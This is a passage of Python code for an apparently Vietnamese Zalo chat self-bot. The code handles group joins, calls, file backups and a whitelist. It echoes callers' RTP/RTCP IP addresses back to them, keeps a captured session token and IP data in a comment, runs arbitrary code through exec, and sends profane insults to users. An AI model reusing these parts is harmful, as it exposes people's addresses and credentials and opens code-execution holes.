			# self.thread_handsome.submit(self.nigga, mid, author_id, message, message_object, thread_id, thread_type)
			# self.thread_handsome.submit(self.antiAds, mid, author_id, message, message_object, thread_id, thread_type)
			# self.anti_bot(mid, author_id, message, message_object, thread_id, thread_type)



		#if message_object.msgType == "message_object.msgType" and 

		#print(message_object)

		if message_object.msgType == "chat.todo":
			return
			#self.blockUser(author_id)
			#self.blockViewFeed(author_id, 1)
		if author_id in self.proxy:
			self.thread_handsome.submit(self.locproxy, mid, author_id, message, message_object, thread_id, thread_type)
			#print(message_object)



		#print(message_object)
	def eventSignOutSession(self):
		# print("try to re login")
		return
		logger.debug("Login Session Is Killer, Relogin...")
		cookies = loginZalo(self.phone, self.password, self.session_cookies).main(imei=self._imei, hiddenSession=True)
		logger.debug("Login Success, Try To Enable Listening")
		self.setSession(cookies)
		self.login(phone=self.phone, password=self.password, imei=self._imei)
		self._listen_ws()
		# logger.debug("Login Session Is Killer, Relogin...")
		
		
	# def eventGetOldMessage(self, data):
		# print(data)
		# for i in data.groupMsgs:
			# print(i)
			# moetgoaidi = int(i.get("msgId"))
			# print(moetgoaidi)
			# print(type(moetgoaidi))
			# if moetgoaidi in self.dataGetOldMessage and self.dataGetOldMessage[moetgoaidi]:
				# content = i.content
				# uidFrom = i.uidFrom
				# msgType = i.msgType
				# cliMsgId = i.cliMsgId
				# msgId = i.msgId
				# ts = i.ts
				# thread_id = i.idTo
				# cmd = i.cmd
				# thread_type = ThreadType.GROUP if cmd == 511 else ThreadType.USER
				# print(User(uidFrom=uidFrom, msgId=msgId, cliMsgId=cliMsgId, msgType=msgType, content=content, ts=ts))
				# self.replyMessage(Message(text=f"User Name {i.dName} Vừa Thu Hồi Tin Nhắn Nội Dung\n{content}"), User(uidFrom=uidFrom, msgId=msgId, cliMsgId=cliMsgId, msgType=msgType, content=content, ts=ts), thread_id, thread_type)
				# self.dataGetOldMessage[moetgoaidi] = False











	def friendEvent(self, data, type):
		print(data, type)
		# if self.selid == self.uid:
			# return
		if type == "req_v2":
			uid = data["content"]["data"]["fromUid"]
			self.acceptFriendRequest(userId=uid)
		# elif type == "block":
			# print(data)
			# print(type)
			# uid = data["content"]["data"]
			# self.send(Message(text="• Why You Blocked Me!?", style=MultiMsgStyle([MessageStyle(offset=0, length=3000, style="font", size="14", auto_format=False), MessageStyle(offset=0, length=1, style="color", color="#74c7ec", auto_format=False), MessageStyle(offset=1, length=3000, style="color", color="#cdd6f4", auto_format=False)])), thread_id=uid, thread_type=ThreadType.USER)
	
	def backupFile(self, mid, author_id, message, message_object, thread_id, thread_type):
		if thread_type == ThreadType.GROUP:
			if thread_id == "4986496986921605616":
				print(message_object)
			if message_object.msgType == "share.file":
				url = message_object.content.href.replace("\\", "")
				params = json.loads(message_object.content.params)
				# fileSize = int(params.get("fileSize"))
				checksum = params.get("checksum")
				fileExt = params.get("fileExt")
				fileName = message_object.content.title
				fileUrl = asyncio.run(self.uploadFileAsync(file_url=url, thread_id=self._state._config.get("cloud_id"), thread_type=ThreadType.USER))
				self.sendRemoteFile(fileUrl=fileUrl, thread_id=self._state._config.get("cloud_id"), thread_type=ThreadType.USER, fileName=fileName, fileSize=1, extension=fileExt, fileChecksum=checksum)
			elif message_object.msgType == "chat.video.msg":
				videoUrl = asyncio.run(self.uploadFileAsync(file_url=message_object.content.href.replace("\\", ""), thread_id=self._state._config.get("cloud_id"), thread_type=ThreadType.USER))
				thumbnailUrl = asyncio.run(self.uploadFileAsync(file_url=message_object.content.thumb.replace("\\", ""), thread_id=self._state._config.get("cloud_id"), thread_type=ThreadType.USER))
				params = json.loads(message_object.content.params)
				messageText = message_object.content.title if message_object.content.title else None
				duration = params.get("duration")
				height = params.get("video_height")
				width = params.get("video_width")
				self.sendRemoteVideo(videoUrl=videoUrl, thumbnailUrl=thumbnailUrl, duration=duration, thread_id=self._state._config.get("cloud_id"), thread_type=ThreadType.USER, width=width, height=height, message=Message(text=messageText), fileSize=0, forward=Forward(msgId=message_object.msgId, cliMsg=message_object.cliMsgId, fromId=thread_id, author_id=author_id))
	
	def startKeepAlive(self):
		while True:
			self.keepAlive()
			time.sleep(60)
			
	def callEvent(self, data):
		print(data)
		raw_json_data = data['content']['data']
		parsed_data = json.loads(raw_json_data)
		
		if data["content"]["act"] == "group_request":
			thread_type = ThreadType.GROUP
			thread_id = parsed_data.get("groupNoiseId")
		elif data["content"]["act"] == "group_cancel":
			return
		elif data["content"]["act"] == "request":
			thread_type = ThreadType.USER
			thread_id = parsed_data.get('uidN')
		elif data["content"]["act"] == "cancel":
			return
		else:
			return
			# thread_type = ThreadType.USER
			# thread_id = parsed_data.get('uidN')
		try:
			if thread_type == ThreadType.USER:
				msg = f"• You Is Try To Call My Bot\n• Call ID: {parsed_data.get('callId')}\n• RTcp IP: {parsed_data.get('rtcpAddress')}\n• Rtp IP: {parsed_data.get('rtpAddress')}\n• Session ID: {parsed_data.get('session')}"
			else:
			# "rtcpaddr":
				msg = f"• Call Group Detecting..\n• Call ID: {parsed_data.get('id')}\n• RTcp IP: {parsed_data['callSetting']['servers'][0]['rtcpaddr']}\n• Rtp IP: {parsed_data['callSetting']['servers'][0]['rtpaddr']}\n• Session ID: {parsed_data['callSetting']['session']}"
				
			# print(parsed_data)
			# payload = {
				# "callerId": parsed_data.get('uidN'),
				# "callId": parsed_data.get('callId'),
				# "status": parsed_data.get('status'),
				# "codec": json.dumps(json.loads(parsed_data.get('codec', '[]'))),
				# "rtcpAddress": parsed_data.get('rtcpAddress'),
				# "rtpAddress": parsed_data.get('rtpAddress'),
				# "session_id": parsed_data.get('session'),
				# "extendData": json.loads(parsed_data.get('params', '{}')).get('extendData'),
				# "subCommand": 3,
			# }
			self.send(Message(text=msg, style=MultiMsgStyle([MessageStyle(offset=0, length=3000, style="font", size="14", auto_format=False), MessageStyle(offset=0, length=1, style="color", color="#74c7ec", auto_format=False), MessageStyle(offset=1, length=3000, style="color", color="#cdd6f4", auto_format=False)])), thread_id, thread_type=thread_type)
			# print(payload)
			# json_str = json.dumps(payload)  # Chuyển đổi thành chuỗi JSON
			# ipv4_port_pattern = r'\b((?:\d{1,3}\.){3}\d{1,3}):(\d+)\b'  # Regex tách IPv4 và port
			# matches = re.findall(ipv4_port_pattern, json_str)
			# for ip, port in matches:
				# print(ip)
				# print(port)
				# sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
				# sock.connect((ip, int(port)))
				# print(sock.recv(1024))




			# {'callerId': '7711754660468580715', 'callId': '99052137', 'status': '0', 'codec': '[{"frmPtime": 20, "payload": 112, "name": "opus/16000/1", "dynamicFptime": 0}]', 'rtcpAddress': '42.119.138.77:4638', 'rtpAddress': '42.119.138.77:4638', 'session_id': 'dHjagO4jBLAGBt2Qio0aL9Wf2AxM8p4DkYOTYirpF3Er31EPc0DDLQGp89I8DdvilHWUae8cScpb6tZOiaW0JVKfB2Nq_PAuwiV-OwUumBZxhVvXkit7kF3QucRupRkiuQU7N8IKZf5UMIOOcZKhXoG8Km', 'extendData': '{"callType":0,"gccAudio":1,"gccMode":1,"gccSVLR":1,"maxFT":60,"newZrtc":1,"p2p":[{"ip":"192.168.1.126","port":52480,"type":0},{"ip":"2405:4802:717d:2860:28b8:aa03:8e83:4bb0","port":41669,"type":0},{"ip":"2405:4802:717d:2860:b113:87c9:23a:3f0a","port":41669,"type":0},{"ip":"100.79.227.17","port":52480,"type":1}],"packetMode":2,"platform":1,"sP2P":1,"serverAddr":[{"rtcp":"42.119.138.77:4638","rtcpIPv6":"2405:4800:ae00:1b01::231:4638","rtp":"42.119.138.77:4638","rtpIPv6":"2405:4800:ae00:1b01::231:4638","tpType":0}],"serverResult":[{"recv":14,"rtcp":"42.119.138.77:4638","rtcpIPv6":"2405:4800:ae00:1b01::231:4638","rtp":"42.119.138.77:4638","rtpIPv6":"2405:4800:ae00:1b01::231:4638","rtt":437,"spTcp":1,"tpType":0},{"recv":13,"rtcp":"171.244.25.111:4485","rtcpIPv6":"2401:5f80:4001:e::2a:4485","rtp":"171.244.25.111:4485","rtpIPv6":"2401:5f80:4001:e::2a:4485","rtt":408,"spTcp":1,"tpType":0},{"recv":6,"rtcp":"58.187.8.26:4431","rtcpIPv6":"2405:4800:200:e0::5:4431","rtp":"58.187.8.26:4431","rtpIPv6":"2405:4800:200:e0::5:4431","rtt":204,"spTcp":1,"tpType":0},{"recv":3,"rtcp":"222.255.216.229:4743","rtcpIPv6":"2001:ee0:37f:fff3::10f:4743","rtp":"222.255.216.229:4743","rtpIPv6":"2001:ee0:37f:fff3::10f:4743","rtt":104,"spTcp":1,"tpType":0}],"spTcp":1,"srtcp":0,"srtpMode":1,"supportCallBusy":1,"supportHevcDecode":1,"tpType":0,"video":{"codec":[{"name":"h264","payload":97}]}}', 'subCommand': 3}
			# suc = self.acpCall(payload)
			# print(suc)
			#https://voicecall-wpa.chat.zalo.me/api/voicecall/answer?zpw_ver=647&zpw_type=24&params=BwEJGyM2qkCQNVt68N7JQSmHkZ8ujU2q2RX9tcOM9x9lLxjwCHX7L9b7FIXAQq2TBupiNDnkLsagqwGtaeqpoEhsn30bNrfH19YA2aF67PtDJDIZnnjZB3kZ0CfZ1b72Ky1p7BZ%2B%2BqPgodcNZjWpThTnraCGwG5C3pUXrCnsF%2FuB5inRAQUv3EnJp13AeFGF74WPiN25BGi6mBlq1%2BD1D7Rg%2FTu77G4AYxB%2F0Fyn30aQLzT4dDBN1sCsZNNbT%2BBZOe%2FK2qmsbHYGsSNY1%2F7IQvMcB3eI%2BfI7uqkqwF%2FSrKVUAWnbhK48wD1OThn3NygkXLA9Nfj5mJKQeiU0dRV15AV66hbNQy6fV8HwSlXicnR1zsWkzxaT7xE9Nzs2whNP61b61VMN7Y6biv5%2BAsVvlywmDTftUft5JVi9XdOiILS4pOSZZSQyo%2FOKtAp4bv4cH8WCS26NfUkKU09K5vbO9e9P3CbHOAgW%2F9Zi1sK8JIS7aLo9GJbgfWiCsNm3RUhtzGhd9u9xTZBzV1lg%2Biqh6jSPEpHLMt%2FH13jUadG1%2FNSuLKyyGgTAcCqjAM0rgt5atipQnHqXstwZKH8JCjEjUkCIBMpf1SxqPuW7z%2Fb%2BU%2FHwAuconKMJcOzB8fH8xJUzQWLO6N3gRs5kldYOsWbANFC7em2GRqOfbuPHlMdZa4Pc3EgxcejfUG4tw5zLZ8xoJgROrMN6E6s8aj8jMj1UiVo31CNRTFUBAxsUTVqB%2FtUckdZcYeCUBaZwYnCr7B5iCx%2BVXOGown0qqwiUQ%2B0wQfflhLU3iFJwIKCzhZGEc5%2FOQQ3t43Y4qt2MLmzxfsxI9CJ6YnwJEAWYaWMoDBtr64fvka4%2BU0bX65ZPzMKV4b7qZP06btaL%2Buj%2BlDxG7O5fjaAaMOE7u5tqk3IILJ%2FDYMaOm%2BHRyUpDxQa2t%2BZyBFCkoBc7gH1ZJDokLJjGcXKwUVoBvhVqidLV4ZjETmPvW7Oi9zxJfbpYIgbCwdUo45ZXQSLSUOo7m%2BYvvtyQKag%2F%2BQSA62ZqxFnl3cWrkkPtizyB4QXYpSwhTaNg6JlQlkXQ2ADeRLt3WhEk6yxEVXBbiGOpyd3%2BR5CXrb2ZDwWr3rZl2gSzyt6jUAAA4B%2BCkWZTkk0wEoTbyAxOsRZVdFHA1inuuAg1Po4jzAVdNZd9WZppxNvSj86vsbF%2Bbsp1%2FCcLjvuYbDYK2fLaZjLEhhLFmMs%2BKUGcW2hLOVN0n%2F8cxn9Y3cFN3A%2Bkp4ABtPCjx%2B7Uvj4cvw5jKhOWs8Efjxk5fWFucR7WJXbQwxlAIhwrFdD0lWiH1QvvzXZrYeLrxW0ibJ0z4hm9KEs%2BRB0a1gieTal5XTzFLd6YGMO65HutFEqUNbNqkkJksRPRFiGYqIG%2FhNs3WDElWHsvGf8i7q9gxVWoid9TUcrMU5EUGV6qJYKNKFwH5L6DA5gM64vc5RU%3D
		except Exception as e:
			traceback.print_exc()

	def onEvent(self, event_data, event_type):
		data = event_data
		group_id = data.groupId
		creatorId = data.creatorId
		# print(data)
		if self.uid == creatorId:
			if event_type == GroupEventType.BLOCK_MEMBER or event_type == GroupEventType.REMOVE_MEMBER and data.isAdd == 0:
				adminData = self.db.fetch_admins(group_id)
				if data.sourceId not in adminData and data.sourceId != self.selid and data.sourceId != self.uid:
					self.removeGroupAdmins(data.sourceId, group_id)
		elif event_type == GroupEventType.JOIN and self.uid == creatorId:
			adminData = self.db.fetch_admins(group_id)
			blackList = self.db.fetch_blacklist(group_id)
			for i in data.updateMembers:
				if i["id"] in adminData or i["id"] == self.selid:
					self.addGroupAdmins(members=i["id"], groupId=group_id)
					self.send(Message(text=f"• Welcome Back, @deptrai", style=MultiMsgStyle([MessageStyle(offset=0, length=3000, style="font", size="14", auto_format=False), MessageStyle(offset=0, length=1, style="color", color="#74c7ec", auto_format=False), MessageStyle(offset=1, length=3000, style="color", color="#cdd6f4", auto_format=False)]), mention=Mention(uid=i["id"], length=8, offset=16)), group_id, thread_type=ThreadType.GROUP, ttl=6000000)
				if i["id"] in blackList:
					self.send(Message(text=f"• BlackList Detec User @sucvat", style=MultiMsgStyle([MessageStyle(offset=0, length=3000, style="font", size="14", auto_format=False), MessageStyle(offset=0, length=1, style="color", color="#74c7ec", auto_format=False), MessageStyle(offset=1, length=3000, style="color", color="#cdd6f4", auto_format=False)]), mention=Mention(uid=i["id"], length=7, offset=23)), group_id, thread_type=ThreadType.GROUP, ttl=6000000)
					self.blockUsersInGroup(members=i["id"], groupId=group_id)
					
		if event_type == GroupEventType.JOIN and (self.antiVisitBox == True or self.uid == self.selid):
			print(data)
			for i in data.updateMembers:
				if event_type == GroupEventType.JOIN and i["id"] == self.uid:
					# print(data, int(time.time() * 1000))
					if data.groupSetting['joinAppr'] == 0:
						if data.sourceId != i["id"]:
							self.send(Message(text=f"• Ơ Cái Địt Con Mẹ Mày @gay Add Cái Lồn À", style=MultiMsgStyle([MessageStyle(offset=0, length=3000, style="font", size="14", auto_format=False), MessageStyle(offset=0, length=1, style="color", color="#74c7ec", auto_format=False), MessageStyle(offset=1, length=3000, style="color", color="#cdd6f4", auto_format=False)]), mention=Mention(uid=data.sourceId, length=4, offset=23)), group_id, thread_type=ThreadType.GROUP, ttl=60000)
							linkbox = self.fetchLinkGroup(group_id).link
							self.leave(thread_id=group_id, thread_type=ThreadType.GROUP)
							self.send(Message(text=f"English: Sorry You Cant Not Add Me To Group {data.groupName}, I'm In Quiet Mode And Really Offline\nIf This Is Important Please Skip, Thank You\nYour Group Link {linkbox}\n\n----------\nVietNam: Xin lỗi Bạn Không Thể Thêm Tôi Vào Group {data.groupName} Vì Tôi Đang Ở Chế Độ Không Làm Phiền, Những Thông Báo Tin Nhắn Mới Từ Các Group Người Lạ Thêm Vào Để Spam Khó Chịu Khiến Tôi Tạo Ra Nó, Nếu Đây Là Một Group Quan Trọng Đối Với Tôi, Tôi Sẽ Trả Lời Tin Nhắn Này, Cảm Ơn\nLink Nhóm Của Bạn {linkbox}", style=MultiMsgStyle([MessageStyle(offset=0, length=3000, style="font", size="14", auto_format=False), MessageStyle(offset=0, length=3000, style="color", color="#cdd6f4", auto_format=False)])), thread_id=data.sourceId, thread_type=ThreadType.USER)
							self.blockUser(userId=data.sourceId)
					elif data.groupSetting['joinAppr'] == 1:
						if "info" in data and "mapInviteInfo" in data.info:
							user_id = self.fetchGroupInfo(group_id).gridInfoMap[group_id]['memVerList']
							user_id = [item.replace('_0', '') for item in user_id]
							print(user_id)
							mapRealUserId = self.fetchRealUserId(user_id)
							print(mapRealUserId)
							self.send(Message(text=f"• Ơ Cái Địt Con Mẹ Mày Thằng Lồn Nào Mời Đấy", style=MultiMsgStyle([MessageStyle(offset=0, length=3000, style="font", size="14", auto_format=False), MessageStyle(offset=0, length=1, style="color", color="#74c7ec", auto_format=False), MessageStyle(offset=1, length=3000, style="color", color="#cdd6f4", auto_format=False)])), group_id, thread_type=ThreadType.GROUP, ttl=60000)
							self.leave(thread_id=group_id, thread_type=ThreadType.GROUP)
						# if int(data.time) > int(data.version):
							# self.send(Message(text=f"• Ơ Cái Địt Con Mẹ Mày @gay Add Cái Lồn À", style=MultiMsgStyle([MessageStyle(offset=0, length=3000, style="font", size="14", auto_format=False), MessageStyle(offset=0, length=1, style="color", color="#74c7ec", auto_format=False), MessageStyle(offset=1, length=3000, style="color", color="#cdd6f4", auto_format=False)]), mention=Mention(uid=data.sourceId, length=4, offset=23)), group_id, thread_type=ThreadType.GROUP, ttl=60000)
							# self.leave(thread_id=group_id, thread_type=ThreadType.GROUP)
							# self.send(Message(text=f"English: Sorry You Cant Not Add Me To Group {data.groupName}, I'm In Quiet Mode And Really Offline\nIf This Is Important Please Skip, Thank You\n\n----------\nVietNam: Xin lỗi Bạn Không Thể Thêm Tôi Vào Group {data.groupName} Vì Tôi Đang Ở Chế Độ Không Làm Phiền, Những Thông Báo Tin Nhắn Mới Từ Các Group Người Lạ Thêm Vào Để Spam Khó Chịu Khiến Tôi Tạo Ra Nó, Nếu Đây Là Một Group Quan Trọng Đối Với Tôi, Tôi Sẽ Trả Lời Tin Nhắn Này, Cảm Ơn", style=MultiMsgStyle([MessageStyle(offset=0, length=3000, style="font", size="14", auto_format=False), MessageStyle(offset=0, length=3000, style="color", color="#cdd6f4", auto_format=False)])), thread_id=data.sourceId, thread_type=ThreadType.USER)
							# self.blockUser(userId=data.sourceId)
					
			# elif data.groupSetting['joinAppr'] == 1:


		# print(data)
		# print(event_type)
		# if event_type == "join_request":
			# print(data)
			# for i in data.users:
				# if i.get("uid") == self.selid:
					# self.handleGroupPending(members=i.get("uid"), groupId=data.groupId, isApprove=True)
				# elif group_id in self.auto_approve:
					# self.handleGroupPending(members=i.get("uid"), groupId=data.groupId, isApprove=True)
			# # print(event_type)
			# print(data)
		# if event_type != GroupEventType.JOIN:
			# for i in data.get("updateMembers", []):
				# if i["id"] == self.selid:
					# print(self.addUsersToGroupV1(user_ids=i["id"], groupId=group_id))
		# if event_type == GroupEventType.JOIN:
			# for member in data.get("updateMembers", []):
				# if member["id"] == self.uid:
					# self.leave(thread_id=group_id, thread_type=ThreadType.GROUP)
		if event_type == "new_group_invitation":
			if self.selid != self.uid:
				self.Inv(grid=data.groupId, allow=True, block=False)
			else:
				self.Inv(grid=data.groupId, allow=False, block=True)
		if self.stop_event == True:
			return
		if group_id not in self.all_group:
			return
		if event_type == GroupEventType.JOIN:
			group_name = data.groupName
			group_mems = (self.fetchGroupInfo(group_id)).gridInfoMap[group_id]
			group_mems = len(group_mems.memVerList)
			# print(data)
			for member in data.get("updateMembers", []):
				if data.sourceId != member["id"] and data.groupSetting['joinAppr'] == 1:
					info = self.fetchUserInfo(data.sourceId)
					info = info.unchanged_profiles or info.changed_profiles
					info = info[str(data.sourceId)]
					approved = info.zaloName

					ls = []
					text = '🪂 Welcome to Group\n'
					ls.append(MessageStyle(offset=0, length=3000, style='font', size='13', auto_format=False))
					ls.append(MessageStyle(offset=0, length=19, style='bold', auto_format=False))
					text += '───────────\n'
					ls.append(MessageStyle(offset=20, length=11, style='color', color='585b70', auto_format=False))
					text += f'• Welcome @Member to {group_name}, a place to chill and hangout with the community.\n\n'
					ls.append(MessageStyle(offset=32, length=1, style='color', color='f9b387', auto_format=False))
					mention = Mention(uid=member["id"], length=7, offset=42)
					ls.append(MessageStyle(offset=42, length=7, style='color', color='a3c1f2', auto_format=False))
					ls.append(MessageStyle(offset=33, length=8, style='color', color='ced6f0', auto_format=False))
					text += f'| You are the {group_mems}th member of the group\n'
					text += f'| Approved by {approved}.'

					ls.append(MessageStyle(offset=50, length=3000, style='color', color='ced6f0', auto_format=False))
					msg = Message(text=text, style=MultiMsgStyle(ls), mention=mention)
					self.send(msg, thread_id=group_id, thread_type=ThreadType.GROUP)
				elif data.sourceId == member["id"] and data.groupSetting['joinAppr'] == 0:
					ls = []
					text = '🪂 Welcome to Group\n'
					ls.append(MessageStyle(offset=0, length=3000, style='font', size='13', auto_format=False))
					ls.append(MessageStyle(offset=0, length=19, style='bold', auto_format=False))
					text += '───────────\n'
					ls.append(MessageStyle(offset=20, length=11, style='color', color='585b70', auto_format=False))
					text += f'• Welcome @Member to {group_name}, a place to chill and hangout with the community.\n\n'
					ls.append(MessageStyle(offset=32, length=1, style='color', color='f9b387', auto_format=False))
					mention = Mention(uid=member["id"], length=7, offset=42)
					ls.append(MessageStyle(offset=42, length=7, style='color', color='a3c1f2', auto_format=False))
					ls.append(MessageStyle(offset=33, length=8, style='color', color='ced6f0', auto_format=False))
					text += f'| You are the {group_mems}th member of the group\n'
					text += f'| Join via link.'

					ls.append(MessageStyle(offset=50, length=3000, style='color', color='ced6f0', auto_format=False))
					msg = Message(text=text, style=MultiMsgStyle(ls), mention=mention)
					self.send(msg, thread_id=group_id, thread_type=ThreadType.GROUP)
				elif data.sourceId != member["id"] and data.groupSetting['joinAppr'] == 0:
					info = self.fetchUserInfo(data.sourceId)
					info = info.unchanged_profiles or info.changed_profiles
					info = info[str(data.sourceId)]
					approved = info.zaloName

					ls = []
					text = '🪂 Welcome to Group\n'
					ls.append(MessageStyle(offset=0, length=3000, style='font', size='13', auto_format=False))
					ls.append(MessageStyle(offset=0, length=19, style='bold', auto_format=False))
					text += '───────────\n'
					ls.append(MessageStyle(offset=20, length=11, style='color', color='585b70', auto_format=False))
					text += f'• Welcome @Member to {group_name}, a place to chill and hangout with the community.\n\n'
					ls.append(MessageStyle(offset=32, length=1, style='color', color='f9b387', auto_format=False))
					mention = Mention(uid=member["id"], length=7, offset=42)
					ls.append(MessageStyle(offset=42, length=7, style='color', color='a3c1f2', auto_format=False))
					ls.append(MessageStyle(offset=33, length=8, style='color', color='ced6f0', auto_format=False))
					text += f'| You are the {group_mems}th member of the group\n'
					text += f'| Add by {approved}.'

					ls.append(MessageStyle(offset=50, length=3000, style='color', color='ced6f0', auto_format=False))
					msg = Message(text=text, style=MultiMsgStyle(ls), mention=mention)
					self.send(msg, thread_id=group_id, thread_type=ThreadType.GROUP)
		elif event_type == GroupEventType.LEAVE:
			for member in data.get("updateMembers", []):
				info = self.fetchUserInfo(member["id"])
				info = info.unchanged_profiles or info.changed_profiles
				info = info[str(member["id"])]      
				userName = info.zaloName
				ls = []
				text = '👋🏻 Goodbye\n'
				ls.append(MessageStyle(offset=0, length=3000, style='font', size='13', auto_format=False))
				ls.append(MessageStyle(offset=0, length=12, style='bold', auto_format=False))
				text += '──────\n'
				ls.append(MessageStyle(offset=13, length=6, style='color', color='585b70', auto_format=False))
				text += f'• {userName} is no longer a member of this group...'
				ls.append(MessageStyle(offset=20, length=1, style='color', color='f9b387', auto_format=False))
				ls.append(MessageStyle(offset=22, length=getStringLength(userName), style='color', color='a3c1f2', auto_format=False))
				offset = 23 + getStringLength(userName)
				ls.append(MessageStyle(offset=offset, length=3000, style='color', color='ced6f0', auto_format=False))
				msg = Message(text=text, style=MultiMsgStyle(ls))
				self.send(msg, thread_id=group_id, thread_type=ThreadType.GROUP)

		elif event_type == GroupEventType.REMOVE_MEMBER and data.isAdd == 0:

			for member in data.get("updateMembers", []):
				user_id = member["id"]
				info = self.fetchUserInfo(user_id)
				info = info.unchanged_profiles or info.changed_profiles
				info = info[str(user_id)]      
				userName = info.zaloName
				info = self.fetchUserInfo(data.sourceId)
				info = info.unchanged_profiles or info.changed_profiles
				info = info[str(data.sourceId)]      
				namekick = info.zaloName
				ls = []
				text = '👋🏻 Goodbye\n'
				ls.append(MessageStyle(offset=0, length=3000, style='font', size='13', auto_format=False))
				ls.append(MessageStyle(offset=0, length=12, style='bold', auto_format=False))
				text += '──────\n'
				ls.append(MessageStyle(offset=13, length=6, style='color', color='585b70', auto_format=False))
				text += f'• {userName} was kicked out of this group by {namekick}'
				ls.append(MessageStyle(offset=20, length=1, style='color', color='f9b387', auto_format=False))
				ls.append(MessageStyle(offset=22, length=getStringLength(userName), style='color', color='a3c1f2', auto_format=False))
				offset = 23 + getStringLength(userName)
				ls.append(MessageStyle(offset=offset, length=32, style='color', color='ced6f0', auto_format=False))
				offset += 32
				ls.append(MessageStyle(offset=offset, length=getStringLength(namekick), style='color', color='a3c1f2', auto_format=False))
				msg = Message(text=text, style=MultiMsgStyle(ls))
				self.send(msg, thread_id=group_id, thread_type=ThreadType.GROUP)


		elif event_type == GroupEventType.BLOCK_MEMBER:

			for member in data.get("updateMembers", []):
				info = self.fetchUserInfo(member["id"])
				info = info.unchanged_profiles or info.changed_profiles
				info = info[str(member["id"])]      
				userName = info.zaloName
				info = self.fetchUserInfo(data.sourceId)
				info = info.unchanged_profiles or info.changed_profiles
				info = info[str(data.sourceId)]      
				namekick = info.zaloName
				ls = []
				text = '👋🏻 Goodbye\n'
				ls.append(MessageStyle(offset=0, length=3000, style='font', size='13', auto_format=False))
				ls.append(MessageStyle(offset=0, length=12, style='bold', auto_format=False))
				text += '──────\n'
				ls.append(MessageStyle(offset=13, length=6, style='color', color='585b70', auto_format=False))
				text += f'• {userName} was blocked from this group by {namekick}'
				ls.append(MessageStyle(offset=20, length=1, style='color', color='f9b387', auto_format=False))
				ls.append(MessageStyle(offset=22, length=getStringLength(userName), style='color', color='a3c1f2', auto_format=False))
				offset = 23 + getStringLength(userName)
				ls.append(MessageStyle(offset=offset, length=31, style='color', color='ced6f0', auto_format=False))
				offset += 31
				ls.append(MessageStyle(offset=offset, length=getStringLength(namekick), style='color', color='a3c1f2', auto_format=False))
				msg = Message(text=text, style=MultiMsgStyle(ls))
				self.send(msg, thread_id=group_id, thread_type=ThreadType.GROUP)


	def onLoggedIn(self, phone):
		logger.login("Login of {} successful.".format(self.fetchAccountInfo().profile['displayName']))


	def onLoggingIn(self, phone=None):
		logger.debug("Logging in {}...".format(phone))

	def onListening(self):
		logger.debug("Listening...")


	def randomPin(self):
		random_number = random.randint(1, 9999)
		formatted_number = f"{random_number:04}"
		s = str(formatted_number)
		md5_hash = hashlib.md5(s.encode()).hexdigest()
		return (md5_hash, formatted_number)

	def create_rounded_corners(self, image, output_path, radius):
		img = Image.open(image).convert("RGBA")
		rounded_mask = Image.new("L", img.size, 0)
		draw = ImageDraw.Draw(rounded_mask)
		draw.rounded_rectangle((0, 0, img.size[0], img.size[1]), radius=radius, fill=255)
		rounded_img = Image.new("RGBA", img.size)
		rounded_img.paste(img, (0, 0), rounded_mask)
		rounded_img.save(output_path)

	def normalize_text(self, text):
		text = unicodedata.normalize('NFKD', text)
		text = ''.join(c for c in text if not unicodedata.combining(c))
		return text.lower()


	def run_code(self, code):
		output = io.StringIO()
		old_stdout = sys.stdout
		sys.stdout = output
		try:
			exec(code)
		except Exception as e:
			return e
		finally:
			sys.stdout = old_stdout
			return output.getvalue()

	def fetchAdmin(self, thread_id):
		return (self.fetchGroupInfo(thread_id)).gridInfoMap[thread_id]

	def giaima(self, content, encoding):
		if encoding == 'br':
			return brotli.decompress(content).decode('utf-8')
		elif encoding == 'gzip':
			return zlib.decompress(content, zlib.MAX_WBITS | 32).decode('utf-8')
		elif encoding == 'deflate':
			return zlib.decompress(content, -zlib.MAX_WBITS).decode('utf-8')
		else:
			return content.decode('utf-8')

	def cold_down(self, author_id, message_object, thread_id, thread_type):
		if author_id in self.colddown:
			for count in range(30, 0, -1):  
				reaction_data = [
					{
						"gMsgID": int(message_object.get('msgId', 0)),
						"cMsgID": int(message_object.get('cliMsgId', 0)),
						"msgType": message_object.get('msgType', 31)
					}
					for _ in range(count)
				]
				self.sendMultiReaction(reactionObj=reaction_data, reactionIcon="⏱️", thread_id=thread_id, thread_type=thread_type, reactionType=75)
				time.sleep(1)
				self.sendMultiReaction(reactionObj=reaction_data, reactionIcon="⏱️", thread_id=thread_id, thread_type=thread_type, reactionType=-1)
			self.colddown.remove(author_id)
			return False
		else:
			self.colddown.append(author_id)
			return True

	def _load_whitelist(self):
		if os.path.exists(self.whitelist_file):
			with open(self.whitelist_file, "r", encoding="utf-8") as f:
				for line in f:
					uid = line.strip()
					if uid:
						self.whiteList.add(uid)
		else:
			open(self.whitelist_file, "w", encoding="utf-8").close()

	def _save_whitelist(self):
		with open(self.whitelist_file, "w", encoding="utf-8") as f:
			for uid in sorted(self.whiteList):
				f.write(f"{uid}\n")

	def wl_command(self, mid, author_id, message, message_object, thread_id, thread_type):
		text = message.strip()
		parts = text.split()
		cmd = parts[0][len(self.prefix):]


		def extract_uids():
			uids = []
			if message_object.quote:
				owner = message_object.quote.get("ownerId")
				uids.append(str(owner))
			elif message_object.mentions:
				for m in message_object.mentions:
					uid = m.get("uid")
					if uid:
						uids.append(uid)
			else:
				lol = parts[2]
				if lol.isdigit():
					uids.append(lol)
			return list(dict.fromkeys(uids)) 

		if cmd == "wl" and len(parts) > 1 and parts[1] == "list":
			if not self.whiteList:
				reply = "Whitelist đang trống."
			else:
				reply = "Danh sách whitelist:\n"
				for idx, i in enumerate(sorted(self.whiteList), start=1):
					info = self.fetchUserInfo(i)
					info = info.unchanged_profiles or info.changed_profiles
					info = info[str(i)]      
					userName = info.zaloName
					reply += f"{idx}. 🔹 {userName} (ID: {i})\n" 
			self.replyMessage(Message(text=reply), message_object, thread_id, thread_type)
			return

		elif cmd == "wl" and len(parts) >= 2 and parts[1] == "add":
			uids = extract_uids()
			# print(uids)
			if not uids:
				self.replyMessage(Message(text="Thiếu user_id. Dùng: `!wl add <user_id> [<user_id>...]` hoặc reply/mention user."), message_object, thread_id, thread_type)
				return

			results = []
			for uid in uids:
				if uid in self.whiteList:
					results.append(f"– `{uid}` đã có sẵn.")
				else:
					self.whiteList.add(uid)
					results.append(f"– Đã thêm `{uid}`.")
			self._save_whitelist()
			reply = "Kết quả thêm whitelist:\n" + "\n".join(results)
			self.replyMessage(Message(text=reply), message_object, thread_id, thread_type)
